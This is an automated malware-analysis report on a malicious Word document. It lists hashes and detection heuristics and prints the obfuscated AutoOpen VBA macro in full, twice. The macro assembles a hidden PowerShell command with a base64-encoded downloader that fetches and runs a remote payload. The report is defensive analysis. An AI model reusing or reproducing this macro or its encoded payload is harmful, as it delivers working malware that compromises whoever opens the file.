Office (OLE) malware analysis — malicious · c0df3edf60c6b97a

MALICIOUS

Office (OLE)

118.5 KB Created: 2018-05-24 20:12:00 Authoring application: Microsoft Office Word First seen: 2020-05-14

MD5: 0227c55f9f24f35967c1058f51d3fe89 SHA-1: 7608a0100fa013516e16c75fe9d9e9d18781cb43 SHA-256: c0df3edf60c6b97a3f53c12c0d9f5febab7ec5463fce35ed06205d69aa5bdea3

150 Risk Score

Heuristics 6

VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
DzCsYZIciv = Shell(kFHwUKslcC + Chr(vbKeyP) + bBiQwPJnE + PHjVdOh, vbHide)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub Autoopen()
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17249 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	17249 bytes
SHA-256: `868d0b019675579ddefc93edf58e6751a3deb9256dae1bacc613490d61801333`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "CKOpklvcI" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function ciMtNJrrEDu() On Error Resume Next DlJNq = EbqWvl - Cos(zjEzj) * 1 - Chr(30763) / 4196 - ChrB(HVWBvD) tTzJM = 75837 BBonVj = nDKVF - Cos(jDiCzf) * 1 - Chr(19634) / 92345 - ChrB(mMvZp) XWlZTw = 65783 ciMtNJrrEDu = rnLTv + cWqivQb + JXFfllYfFk + TwYJfM + FPKVudD + FAMUX + NNBjKikbODS + UOVrDzq + zClITVzjTu + YErpwSIkhZW LtuTq = RLjpc - Cos(qozKhd) * 1 - Chr(5771) / 71348 - ChrB(crwtb) hZwlc = 1585 End Function Sub Autoopen() On Error Resume Next TIFMU = wbjFzJ - Cos(jZarqv) * 1 - Chr(94435) / 76767 - ChrB(BzZOFk) jDAfqV = 78350 RpIXIfjPWwm (ciMtNJrrEDu) VJbmn = lwkjjH - Cos(EvjDMk) * 1 - Chr(13118) / 13761 - ChrB(FVNpwB) iBOkUW = 64301 End Sub Function RpIXIfjPWwm(PHjVdOh) On Error Resume Next KAmQz = fZcmiI - Cos(bdkhw) * 1 - Chr(65719) / 6839 - ChrB(ZzzjB) hSXih = 26655 tLwqH = awkCRt - Cos(CXdCVo) * 1 - Chr(57469) / 26633 - ChrB(Dmjziz) FIwuG = 65619 DzCsYZIciv = Shell(kFHwUKslcC + Chr(vbKeyP) + bBiQwPJnE + PHjVdOh, vbHide) lrqkd = ouiqX - Cos(JoUIt) * 1 - Chr(69186) / 98327 - ChrB(IMKKO) pfuUwX = 39456 End Function Attribute VB_Name = "sLiEAEw" Function rnLTv() On Error Resume Next hwlCot = HEEikC - Cos(cIvLiO) * 1 - Chr(18767) / 38154 - ChrB(LhhGar) WuQsM = 92260 WSujT = "owersHeLL " + "-WinDow" + "sTyle hidden " + "-e IAAoACgAIg" + "B7ADEAM" + "gAyAH0AewA5AD" + "cAfQB7A" + "DEAMwA3AH0" hRJDi = OfiNw - Cos(kbiiw) * 1 - Chr(43620) / 27219 - ChrB(ZVHmLQ) hoUJVj = 7920 EZZKDSCCK = "AewAzAH0AewAx" + "ADAAOAB9AHsAM" + "wA5AH0AewAwAH0A" + "ewA4ADcAfQB" + "7ADEAMQA4AH0Aew" + "A5ADUAfQB7AD" + "EAMgA4AH0A" + "ewA0ADAAfQB7ADE" + "ANQB9AHsAM" + "gA2AH0AewA" tZKbz = fwTHGG - Cos(sPRWww) * 1 - Chr(58231) / 24156 - ChrB(WsSYj) ODdnjN = 71999 YdOOSK = "xADIAN" + "QB9AHsAMQ" + "AzAH0AewAxA" + "DEAMwB9AHsANA" + "A5AH0A" + "ewAyA" + "H0AewA" ovOQu = nfEJM - Cos(ZDnXjZ) * 1 - Chr(1905) / 66416 - ChrB(RIaCo) PiSZUG = 18628 AisJDS = "yADkAfQB7ADYAOA" + "B9AHsAOQAwAH0Ae" + "wA4ADgAfQ" + "B7ADEAMAA5AH0A" + "ewAxADA" akjkpW = oIMqRL - Cos(FDGMC) * 1 - Chr(5057) / 43587 - ChrB(nNFmYB) jriPaN = 74811 vhiDYLvp = "AMAB9AH" + "sAMQAy" + "ADYAfQB7" + "ADEAMQAxAH0" + "AewA4ADkAfQ" + "B7ADgANAB" + "9AHsA" + "MQA4AH" pLMLd = OMWZzY - Cos(SIDHG) * 1 - Chr(76813) / 93694 - ChrB(fDwqC) UICkC = 36442 RkHIvh = "0AewAxADAA" + "NQB9AHsAMQA5AH0" + "AewA1ADQAfQ" + "B7ADcAMQB9A" + "HsAMQA" + "yADMAfQB" + "7ADEAMwAyA" + "H0AewAyA" + "DMAfQB" RBqqs = YAiNYc - Cos(QjiIU) * 1 - Chr(48893) / 81117 - ChrB(KHNVba) DUozFO = 2913 OIjXTDrjA = "7ADQAMQB9AHsAN" + "AA4AH0AewA" + "0AH0AewAxAD" + "EANgB9AHsANAA0" + "AH0AewAy" + "ADAAfQB7ADQAMgB" + "9AHsAMQA" + "wADYAfQB" + "7ADQANwB9AHs" + "AOQAxA" NQNBX = wqaNj - Cos(kduQd) * 1 - Chr(55324) / 32206 - ChrB(udVRL) zOYaXH = 29203 lkjrjUFC = "H0AewAyADcAfQ" + "B7ADEAMQA5A" + "H0AewAx" + "ADIAMAB9AHsAN" rnLTv = WSujT + EZZKDSCCK + YdOOSK + AisJDS + vhiDYLvp + RkHIvh + OIjXTDrjA + lkjrjUFC End Function Function cWqivQb() On Error Resume Next RsHYSR = QnIuS - Cos(aaXUc) * 1 - Chr(96216) / 89593 - ChrB(juvpt) iRzqY = 87306 alMnwHkU = "gA2AH0AewA3ADk" + "AfQB7ADYAMA" + "B9AHsAMQAzA" + "DgAfQB7ADYA" + "fQB7ADgAMAB9A" LCJEK = tdpMWt - Cos(WoBGu) * 1 - Chr(18242) / 39609 - ChrB(hzLiY) fzoRWY = 1787 nTlfAaQPMn = "HsANgA3A" + "H0AewA3AD" + "cAfQB7" + "ADIAMQ" + "B9AHsAMQAzADYAf" + "QB7ADMAMA" XOPSw = jtiYv - Cos(zuQsw) * 1 - Chr(29339) / 47703 - ChrB(dEzWlE) dBuAV = 38641 mssXnPwnib = "B9AHsANwB9AHsAN" + "wAwAH0" + "AewAxADMANQB9" + "AHsAMQA0ADMAfQB" QmrbL = foPnn - Cos(wkivV) * 1 - Chr(13386) / 99826 - ChrB(lTRtj) nFsnYa = 8377 ttYjljDn = "7ADEANAAxAH0" + "AewA0ADMAfQB7" + "ADEANwB9AH" + "sANAA2AH0AewA2" + "ADQAfQB7ADEAMA" + "AxAH0A" + "ewAxADIANAB9AH" + "sAOAAzAH" + "0AewA5ADQ" + "AfQB7ADkAOQB9AH" iiBUEF = ppJil - Cos(dvGZt) * 1 - Chr(40787) / 23225 - ChrB(wUzvQ) avcPMw = 9641 PPAUwJlZXZA = "sANwA0A" + "H0AewAxAH0AewA5" + "ADYAfQB7" + "ADIAOAB9AHsAMwA" + "4AH0Aew" + "A1ADIAf" + "QB7ADcANQB" + "9AHsAMwA" EtBCu = vdHKvm - Cos(KlOiF) * 1 - Chr(85151) / 39991 - ChrB(JDYnZm) NuWpCX = 82522 jDSBJr = "1AH0Aew" + "AxADIAOQB9AH" + "sAMQAzADAAfQB7A" + "DMANwB9AHsA" XqaRb = NnAiW - Cos(JNkHD) * 1 - Chr(69650) / 46953 - ChrB(pdPUIB) MoGjl = 37414 jXqcBSJw = "NQA5AH0AewAxA" + "DAAMwB9AHsAM" + "wAyAH" + "0AewA4AH0AewA" + "xADMAMQB9AHsA" + "MQAxADQAf" + "QB7ADEAMgA3" + "AH0AewA2A" + "DEAfQB7A" qnibt = vQYJD - Cos(kzKOl) * 1 - Chr(35582) / 98888 - ChrB(XubGIZ) Aztuk = 93155 IYPboUqXcwt = "DIANAB9AHsAMQ" + "AxAH0AewAx" + "ADQAMgB9" + "AHsAM" cWqivQb = alMnwHkU + nTlfAaQPMn + mssXnPwnib + ttYjljDn + PPAUwJlZXZA + jDSBJr + jXqcBSJw + IYPboUqXcwt End Function Function JXFfllYfFk() On Error Resume Next WzdcqK = ZEGRlR - Cos(CZURm) * 1 - Chr(45355) / 3389 - ChrB(MYSTKv) iOSaz = 55504 hjHObw = "QAxADUAfQ" + "B7ADEAMQ" + "AwAH0AewA3ADg" + "AfQB7ADE" + "ANAA1AH0AewA" + "2ADMAfQB7ADEAMA" lJbpw = pUoXIn - Cos(aZdwYj) * 1 - Chr(50094) / 70621 - ChrB(JWADI) rzLSn = 80371 HoqNp = "A3AH0Aew" + "A2ADIAf" + "QB7ADEAMQA3" + "AH0AewAzADQ" + "AfQB7ADE" + "AMgB9" + "AHsANQ" + "AzAH0AewA3ADIA" LpzaDH = jvLWzq - Cos(lTBQC) * 1 - Chr(54297) / 61785 - ChrB(FotoQc) MqAIlO = 76459 injjF = "fQB7ADUANQB9" + "AHsANwAzAH0AewA" + "xADQAMAB9AHs" + "AOQB9AHsAMQAwAD" wfStV = LdGSU - Cos(jJBkN) * 1 - Chr(15591) / 23654 - ChrB(IhPqOu) VWpErz = 34230 NfquXlvi = "IAfQB" + "7ADgAMQB9AHsAMg" + "AyAH0" + "AewA1ADgAfQB7AD" + "kAMgB9AHsAMQA" + "yADEAfQB7ADkA" + "MwB9AH" + "sANwA2AH0" + "AewAxADMAO" + "QB9AHsAMwAzA" ljiKk = LnWvWI - Cos(oPudB) * 1 - Chr(6698) / 87164 - ChrB(Qciaf) GQOdIO = 11926 QOWwE = "H0AewA2ADUAfQB7" + "ADEAMAB9AHs" + "AOQA4AH0A" + "ewAyADUAf" + "QB7ADEANAB9AHsA" + "MQAxADIAfQB7ADE" + "AMAA0AH0AewA4A" + "DYAfQB7ADEANAA0" Aizbq = usvsmj - Cos(GuapuY) * 1 - Chr(74861) / 40599 - ChrB(EkFDE) ISNuw = 45624 quYjdpiIjOb = "AH0AewA4ADIA" + "fQB7ADEANgB9AHs" + "AMwA2AH0Aew" + "AxADMANAB9AHs" + "AMwAxAH0AewA" + "1ADAAfQB" + "7ADUAM" + "QB9AHs" + "AMQAzADMAfQB" + "7ADQANQB9AHs" PjaNw = Xjmow - Cos(AVnnO) * 1 - Chr(80719) / 37065 - ChrB(saNWmr) kcisk = 17478 qNRsVhV = "AOAA1AH0Aew" + "A1ADYAfQB7A" + "DYAOQB9AHsANQB9" + "AHsANQA3AH" + "0AIgAgAC0AZg" + "AnAGIAagBlAGMA" + "JwAsACcAL" fuPjbR = bRvHuE - Cos(UiwEc) * 1 - Chr(54077) / 43438 - ChrB(TDaFzm) IwNAI = 82175 CuznHrimm = "wAnACwAJ" + "wBWAGgAdwA3AFYA" + "aAArADcAV" + "gBoACcALAA" + "nADcAVgAnACwAJw" + "BLAFoAN" + "wBBAEQAQ" + "wBYACcALA" + "AnAH0AJwAsA" + "CcAYgBq" YhOCzR = RPrmX - Cos(wfnHj) * 1 - Chr(39806) / 80081 - ChrB(LGWTLX) ztuvJ = 51758 pvNEpdOQF = "AEkAegAwAC8AJwA" + "sACcAd" + "QBkAGkAJwAsACc" + "AaQAn" + "ACwAJwA" + "oAEsA" + "WgA3AGEAcwAnA" + "CwAJwBG" + "ACcALAAnAFMAR" + "ABDACAAPQ" JXFfllYfFk = hjHObw + HoqNp + injjF + NfquXlvi + QOWwE + quYjdpiIjOb + qNRsVhV + CuznHrimm + pvNEpdOQF End Function Function TwYJfM() On Error Resume Next QpaiE = BojSZW - Cos(cIFTo) * 1 - Chr(2100) / 35501 - ChrB(brimu) SVwqN = 79730 irhjpuApkop = "AgAEsAJw" + "AsACcAS" + "wAnACwAJwBuA" + "GUANwAnACwAJw" + "BjAC4ANQBSAE" + "cAVABv" + "AFMAdAAnAC" + "wAJwBZAFUAJwA" + "sACcARwAoACkAJw" PzhCPJ = XXEtp - Cos(jqnbH) * 1 - Chr(16780) / 16263 - ChrB(pwrsKf) SmbLjM = 25282 YWfQrs = "AsACcALwBAAGg" + "AdAAnACwAJ" + "wBOAFMAQgAnACwA" + "JwBaACcALAA" + "nAGgADQAnACwAJw" + "B0AHQAcAAnAC" + "wAJwBuACAASwBaA" + "DcAJwAsAC" + "cAMQAzADMA" YQYrs = EnpwcT - Cos(iVjFhA) * 1 - Chr(50306) / 99624 - ChrB(KFdqEk) hIETjO = 21254 raDPwLRO = "JwAsACcANwAn" + "ACwAJwBHACgA" + "SwBaADc" + "AYQBzAGY" + "AJwAsA" + "CcAIA" + "AnACwAJ" + "wBvAGMAbwBuACcA" RPCkKC = hMHkRs - Cos(zMmKj) * 1 - Chr(12135) / 36636 - ChrB(ClTKH) XAvTKz = 77107 vzNdP = "LAAnAHIAZQBiA" + "GkAJwAsACcA" + "LQBvACcAL" + "AAnAHMAdAA" wppmO = RiTTk - Cos(JsjVfE) * 1 - Chr(31243) / 5940 - ChrB(QQzuH) MMRGs = 35826 jQVjZLlJ = "nACwAJ" + "wBvADcA" + "JwAsACcAcABsAC" + "cALAAnAEQ" + "AbwBOA" + "G4AMA" + "BXAG4AJ" + "wAsACcAIAAn" + "ACwAJwB6AHIAJ" + "wAsACcALAAgAEs" OzVwrv = USAaji - Cos(TZnFjl) * 1 - Chr(8854) / 64510 - ChrB(prGOF) CMsIb = 58494 jRmQqIliCdS = "AWgA3AFMARABD" + "ACkAOwAmAC" + "gANwBWAGgA" + "SQBuACcALAAnA" + "FYAJwAsACcAYQ" + "AuAG4AZQAnACwAJ" + "wBWAGgAdwAt" + "AG8AJwAsACcANw" AiNUGs = QZOdis - Cos(dBIhdj) * 1 - Chr(46171) / 61132 - ChrB(khrwP) hYDAkZ = 10289 WQaIBBz = "BZACcALAA" + "nACkAJw" + "AsACcACgBoA" + "HQAdABw" + "ACcALAAnAD" + "AAJwA" + "sACcAP" TwYJfM = irhjpuApkop + YWfQrs + raDPwLRO + vzNdP + jQVjZLlJ + jRmQqIliCdS + WQaIBBz End Function Function FPKVudD() On Error Resume Next OiMjJQ = djMiYL - Cos(azzLUd) * 1 - Chr(54688) / 76595 - ChrB(ticrp) dINYJt = 5707 InjJh = "QAgADcAVgAnACwA" + "JwBWAG" + "gAZQAtACcAL" + "AAnAHQAcAA6" zOPbH = iQrczz - Cos(DZFcP) * 1 - Chr(51716) / 30495 - ChrB(AjYnD) EUzBq = 45543 PawOriPCu = "AC8ALwBiAGkA" + "JwAsACcA" + "LwAvACcALAAnAD" + "sAJwAsACc" + "ANwAnACwA" + "JwBWAGgAKwA" + "3AFYAJw" AwEBVq = drztrU - Cos(iIwtSn) * 1 - Chr(98436) / 94837 - ChrB(qnDraw) aHaZDc = 725 GwTMWFVOI = "AsACc" + "AaABrA" + "CcALAAnAHQALwA" + "nACwAJwBaAC" + "cALAAnADcAbgB" ukfpJj = wifVLD - Cos(XkhCO) * 1 - Chr(26757) / 25949 - ChrB(wJjzY) RvXGIV = 97794 hSicnHsm = "zAGEAJwAsACcA" + "LgBlAHgANwBW" + "AGgAKwA3ACcAL" + "AAnAG0ANwBWAGgA" + "KQAoAEsAWgA3A" + "FMARABDACcALAA" + "nAGMAYQB" HKoBLr = MEknS - Cos(psAOmN) * 1 - Chr(55271) / 73416 - ChrB(IJHsi) HPDiJp = 56485 pIBTmfbIC = "0AGMAaAB" + "7AH0AfQ" + "AnACwAJwB" + "BAEQAQwBYACcALA" + "AnAGgA" + "LgAnAC" + "wAJwBhAFQAJwAs" + "ACcANwBWAGgAKQA" FPKVudD = InjJh + PawOriPCu + GwTMWFVOI + hSicnHsm + pIBTmfbIC End Function Function FAMUX() On Error Resume Next OMBVz = FvMGBb - Cos(XrVHW) * 1 - Chr(92377) / 71235 - ChrB(ftTNh) ohFIv = 23561 VpkWj = "7AEsAWgAnACw" + "AJwAyAEUAJwAsA" + "CcAYwAgA" + "CsAIAA" + "nACwAJwBsAGwAZQ" + "B0AGUAJwAsA" + "CcAbABOAG4AMABP" lBkrf = QMwBq - Cos(kkYha) * 1 - Chr(76037) / 86723 - ChrB(VjTiIQ) QOHwGP = 65691 PnROwjOiDU = "AGEAZA" + "AnACwAJwAuA" + "GMAJwAsACcAaQB" + "uAGQA" + "LgBjA" + "G8AbQAv" + "ADIAeQAnAC" plQqvU = ircKwU - Cos(AiVCT) * 1 - Chr(99122) / 4895 - ChrB(BiPTAw) DkmCwi = 91947 jSnYcRSIQ = "wAJwBiACcALAAn" + "ACkAOwBiAH" + "IAZQB" + "hAGsAOwAnACwAJ" + "wBvAHMALgB" + "jACcALAAnAGQAY" + "QBzAGQALgBu" + "AGUAeAB0ACcA" + "LAAnA" zzYjA = GwTLAN - Cos(dEviiH) * 1 - Chr(68352) / 64156 - ChrB(cUqsos) uWhET = 46246 aBsEmVujs = "DcATgBTA" + "EIAIAA" + "rACAAKAA3AFYA" + "aAAnACwA" + "JwBWAGgAZ" + "QA3AFYAa" vSBGv = wHzlMa - Cos(rTPaMd) * 1 - Chr(42344) / 40623 - ChrB(qImOa) pSIJF = 99961 nGRzpTSpR = "AApADsAZg" + "BvACcALAAnAHQ" + "AcAA6AC8" + "AJwAsACcAb" + "gBTACcALAAnA" PhBnwi = UFjOM - Cos(aGGsqC) * 1 - Chr(68413) / 84224 - ChrB(tThJXS) cDVfrD = 65968 zwEHliwT = "FkAWQBVAC4A" + "JwAsACc" + "ASABUAEcALwBA" + "AGgAJwAsACcA" + "YgAnACwAJwB" + "vAG0AL" + "wAnACwAJwBAAGg" YjrAj = bYBuzi - Cos(QSCQI) * 1 - Chr(75334) / 76435 - ChrB(GnHCnc) thoXYh = 38868 hWaQzrAr = "AdAB0AHAAO" + "gAvAC8A" + "aQB0A" + "HMAbwBuAG0Ae" KjIrR = jOZjUM - Cos(SPjQur) * 1 - Chr(34317) / 86799 - ChrB(wvIwiT) aKfvH = 84819 kVzUT = "QBtACcALAAnAC" + "AAaQAn" + "ACwAJwBSACcAL" + "AAnAEYAJ" + "wAsACcAWgA3ACc" + "ALAAnAEkAdABlA" zvVnaY = TTQrbS - Cos(GdqCR) * 1 - Chr(52567) / 71079 - ChrB(iTRMJ) YpQdZh = 67544 TDMVGoQn = "CcALAAnA" + "DAAJwAsACcA" + "NwBWA" + "GgAKwA3A" + "CcALAAnAGgAKQAg" + "AFMAJwAsACcAd" + "AA7AEsAJwAsACcA" + "agBlAGMAdAA3AFY" + "AJwAsA" + "CcAbABpA" FAMUX = VpkWj + PnROwjOiDU + jSnYcRSIQ + aBsEmVujs + nGRzpTSpR + zwEHliwT + hWaQzrAr + kVzUT + TDMVGoQn End Function Function NNBjKikbODS() On Error Resume Next YErUB = csHCBz - Cos(jptqQ) * 1 - Chr(93104) / 76388 - ChrB(CWNOj) izNBkW = 72329 auOiHQK = "GQAJwAsACcA" + "KQAnACwAJwB0AH" + "IAeQB7A" + "EsAWgA" + "3ACcALAAnAHAA" + "RgAvAEAAJw" lKwaG = qLOKJd - Cos(zWnJlv) * 1 - Chr(14035) / 42202 - ChrB(iGRkws) AQdibD = 67272 KVVBTbiD = "AsACcAVgBo" + "ACkAIAByAGEAbgB" + "kAG8AbQA7ACc" + "ALAAnAGUAdQA" qqEXrH = FFCid - Cos(szbijD) * 1 - Chr(62529) / 81369 - ChrB(VlzRO) jvQwnt = 35435 vSZnP = "nACwAJwBh" + "AHMAZAAg" + "AD0AIAAmA" + "CgANwBWAGgAbgA3" rjiabA = hUPTH - Cos(BEszC) * 1 - Chr(6598) / 65817 - ChrB(TZZtI) Kmhpj = 50517 jiBWsvLahjh = "AFYAa" + "AAnACwAJwB" + "JAE4A" + "bgAwAGwAZQA1" + "AFIAJwAsA" + "CcAaAB0ACcAL" + "AAnAE4AZQB" + "0AC4AV" + "wBlAGIAQw" + "AnACwAJwBy" kuEdF = woQizG - Cos(iqXzlq) * 1 - Chr(69618) / 51264 - ChrB(JFhSb) vmZnh = 25705 LANPZvbjt = "AC4AbgBlAH" + "QAJwAsACcAZg" + "BjACcALAAn" + "AFMAJwAs" KoWzN = jCrbnj - Cos(UOkEpq) * 1 - Chr(57021) / 22727 - ChrB(zwmNvt) IKYONj = 68281 ibovsW = "ACcATgBuACc" + "ALAAnACAA" + "PQAgAEsAJwAsAC" + "cAOgAnACwAJw" + "A3AFYAaAB" + "oACcALAAnAGgAK" ncwuWR = umhjjC - Cos(zrjFZ) * 1 - Chr(78519) / 49999 - ChrB(ApmXj) ORhnf = 16768 uJwcGHBBX = "wA3ACcAL" + "AAnAHkAcwB0A" + "GUAbQAuACcALAAn" + "AHAAdQAnACwAJw" NripS = BAjOM - Cos(mMjfHG) * 1 - Chr(89762) / 2728 - ChrB(cJHwiL) UAtBtF = 70697 LHZZATJRzkl = "BlAG4AJwAsACcAc" + "gAnACwA" + "JwBWAGgAKwAn" + "ACwAJwA3AFYAaA" + "AnACwAJwBuA" + "HYAOgA" AQGSY = TaZwz - Cos(hmZjk) * 1 - Chr(14047) / 75396 - ChrB(ibrkKW) fVLhjb = 62912 kmmoKwD = "nACwAJwAgA" + "CcALAAnADcAVgBo" + "ACAAKwA" + "nACwA" + "JwBWAGgA" + "dAA3ACcALA" rAbdSI = hBlGzi - Cos(MQmSAR) * 1 - Chr(49202) / 47521 - ChrB(IBioF) OQdBH = 66618 OmTnZiVucS = "AnAGMAaABpAGc" + "AbABpACc" + "ALAAnAGUAJw" + "AsACcAewAn" NNBjKikbODS = auOiHQK + KVVBTbiD + vSZnP + jiBWsvLahjh + LANPZvbjt + ibovsW + uJwcGHBBX + LHZZATJRzkl + kmmoKwD + OmTnZiVucS End Function Function UOVrDzq() On Error Resume Next IdUcAt = zDZzFJ - Cos(vObOES) * 1 - Chr(56628) / 36850 - ChrB(nUdTnU) warfHI = 95441 wpXPOjKir = "ACwAJwBLAFoAN" + "wBuAHMAYQ" + "BkACcALAAn" + "ACgAMQAwADAA" + "MAAwACcALAAn" RjjXE = jjvSTB - Cos(mDQDp) * 1 - Chr(3465) / 62840 - ChrB(XZBib) XNinmR = 6815 LOzVrROrr = "AC8AV" + "QBPAC" + "cALAAn" + "AD0AIAAuA" + "CgANwBW" YjGOAH = hAUTZK - Cos(bbSGQ) * 1 - Chr(30994) / 89963 - ChrB(hsdzI) Rfjkw = 79559 XQwGwMT = "AGgAJwAsACcAbA" + "BpACcALAAnAE" + "AAJwAsACcASwBa" + "ACcALAAnAG" + "0AJwAsACcATA" jzbBZW = YhLBSA - Cos(CVfAnC) * 1 - Chr(33758) / 3416 - ChrB(kAwPQ) nibUs = 90044 oiQKTmkwa = "BDAC8ANwA" + "nACwAJwB0A" + "CgAJwA" + "sACcALAAgADIA" + "OAAyAC" qFrtFi = hcjHkP - Cos(AkLnN) * 1 - Chr(60026) / 68814 - ChrB(BaGZCt) azIqXi = 51486 KdDbzRujm = "cALAA" + "nADcAVgBoACs" + "ANwAnACwAJ" + "wB2ACcA" + "LAAnA" twjBj = UqfBL - Cos(wPhfPu) * 1 - Chr(663) / 7685 - ChrB(mffGE) iztrf = 49773 rwnDff = "GEALwBrAEw" + "AJwAsACcAO" + "gAvAC8Acg" + "BvACcALAAnACsAN" + "wBWAGg" + "AZQAnACwAJwA" + "yAFoAJwAsAC" + "cANQBS" + "AEcAJwAsACcAcg" RqddDh = kbYrGi - Cos(Qdaci) * 1 - Chr(43807) / 84511 - ChrB(QDvbG) rlJjNW = 95472 aZVFhz = "BlAGEA" + "YwBoACcALAAnAF" + "IAJwAsA" + "CcAWgA3A" + "GUAJwA" + "sACcATwBBAGsAJ" + "wAsACc" + "AaQBOAG4AM" + "ABOAGcANQ" BmrSXj = HoAaq - Cos(VTOAD) * 1 - Chr(69087) / 21390 - ChrB(aicav) qOKsIN = 48579 lnlrFSDXNBM = "AnACwAJw" + "BsAGkAJ" + "wApACkALgByAG" + "UAUABs" + "AEEAQwBlACgA" + "KABbAEMAa" + "ABBAHIAXQA3ADgA" UOVrDzq = wpXPOjKir + LOzVrROrr + XQwGwMT + oiQKTmkwa + KdDbzRujm + rwnDff + aZVFhz + lnlrFSDXNBM End Function Function zClITVzjTu() On Error Resume Next olLzLv = PuBPT - Cos(SvfKm) * 1 - Chr(74088) / 34153 - ChrB(DOrbmU) dHSdst = 58316 DiWSTSZtz = "KwBbAEMAaABBAHI" + "AXQAxADEAMA" + "ArAFsAQwBoA" + "EEAcgBdAD" + "QAOAApACwA" + "JwBgA" + "CcAKQAuAHIAZQB" + "QAGwAQQ" + "BDAGUAKAAnAD" + "cAVgBoA" pDYPQK = bKbYYT - Cos(iVaHAk) * 1 - Chr(43623) / 38330 - ChrB(YbPmn) mabnSq = 13308 sUAIS = "CcALABbAHM" + "AdABSAGkAbgB" + "nAF0AW" + "wBDAGgAQ" WBQQn = zOvawZ - Cos(DlttGV) * 1 - Chr(60516) / 98578 - ChrB(BYAsYB) kAobHD = 11919 cXkzNcca = "QByAF0AMwA5" + "ACkALgBy" + "AGUAUABsAEE" + "AQwBlACgAJwBLAF" + "oANwAnACw" + "AJwAkACcAKQAuA" + "HIAZQB" + "QAGwAQQ" + "BDAGU" UimYKf = nNmjpi - Cos(LVbPiA) * 1 - Chr(84739) / 31573 - ChrB(IwSKZK) pzfJZX = 65794 paVOVAv = "AKAAnAGgAMgBFA" + "CcALA" + "BbAHMAdABS" + "AGkAbgB" + "nAF0AW" + "wBDAGgAQQByAF0A" + "OQAyACk" pJMlm = pMOqp - Cos(AsVFs) * 1 - Chr(7143) / 75549 - ChrB(ZrUPcP) jJYUon = 38726 EDflSc = "ALgByAGU" + "AUABsAEEAQwBlA" + "CgAKA" + "BbAEM" + "AaABBA" + "HIAXQA" + "1ADMAKwBbAEMAaA" + "BBAHIAXQA4AD" ZnGiq = mDTkr - Cos(wiZQVk) * 1 - Chr(7155) / 64482 - ChrB(owIWIF) pWAff = 35547 ciapGj = "IAKwBbAE" + "MAaAB" + "BAHIAXQA3ADEAKQ" + "AsAFsAcwB0AFIAa" + "QBuAGcAXQBb" + "AEMAaABBAHIAXQA" + "zADQAKQB" + "8ACYAIAAoA" zClITVzjTu = DiWSTSZtz + sUAIS + cXkzNcca + paVOVAv + EDflSc + ciapGj End Function Function YErpwSIkhZW() On Error Resume Next RlZzLn = AilSAF - Cos(IwEjmc) * 1 - Chr(70177) / 82694 - ChrB(HhNjNz) MRiiHf = 92384 GbNYTELu = "CAAJAB2A" + "GUAUgB" + "iAG8AUwBlAHAA" + "cgBlAGYAZQBSAEU" + "ATgBDAG" + "UALgBU" + "AG8AcwB0" + "AHIAaQBOAG" stIoSW = HzRhX - Cos(vtpLam) * 1 - Chr(34847) / 29988 - ChrB(DbCvYA) XdcCR = 83404 POqPkOiXbrr = "cAKAApAFsAMQA" + "sADMAXQArACc" + "AWAAnAC0ASg" + "BPAEkATgAnAC" TwYbDZ = SfamQ - Cos(oWjtd) * 1 - Chr(44814) / 88918 - ChrB(hlWwEm) oFUfEA = 42426 uvEtFZADFX = "cAKQA=" YErpwSIkhZW = GbNYTELu + POqPkOiXbrr + uvEtFZADFX End Function

SHA-256: 868d0b019675579ddefc93edf58e6751a3deb9256dae1bacc613490d61801333

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "CKOpklvcI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function ciMtNJrrEDu()
On Error Resume Next
DlJNq = EbqWvl - Cos(zjEzj) * 1 - Chr(30763) / 4196 - ChrB(HVWBvD)
tTzJM = 75837
BBonVj = nDKVF - Cos(jDiCzf) * 1 - Chr(19634) / 92345 - ChrB(mMvZp)
XWlZTw = 65783
ciMtNJrrEDu = rnLTv + cWqivQb + JXFfllYfFk + TwYJfM + FPKVudD + FAMUX + NNBjKikbODS + UOVrDzq + zClITVzjTu + YErpwSIkhZW
LtuTq = RLjpc - Cos(qozKhd) * 1 - Chr(5771) / 71348 - ChrB(crwtb)
hZwlc = 1585
End Function
Sub Autoopen()
On Error Resume Next
TIFMU = wbjFzJ - Cos(jZarqv) * 1 - Chr(94435) / 76767 - ChrB(BzZOFk)
jDAfqV = 78350
RpIXIfjPWwm (ciMtNJrrEDu)
VJbmn = lwkjjH - Cos(EvjDMk) * 1 - Chr(13118) / 13761 - ChrB(FVNpwB)
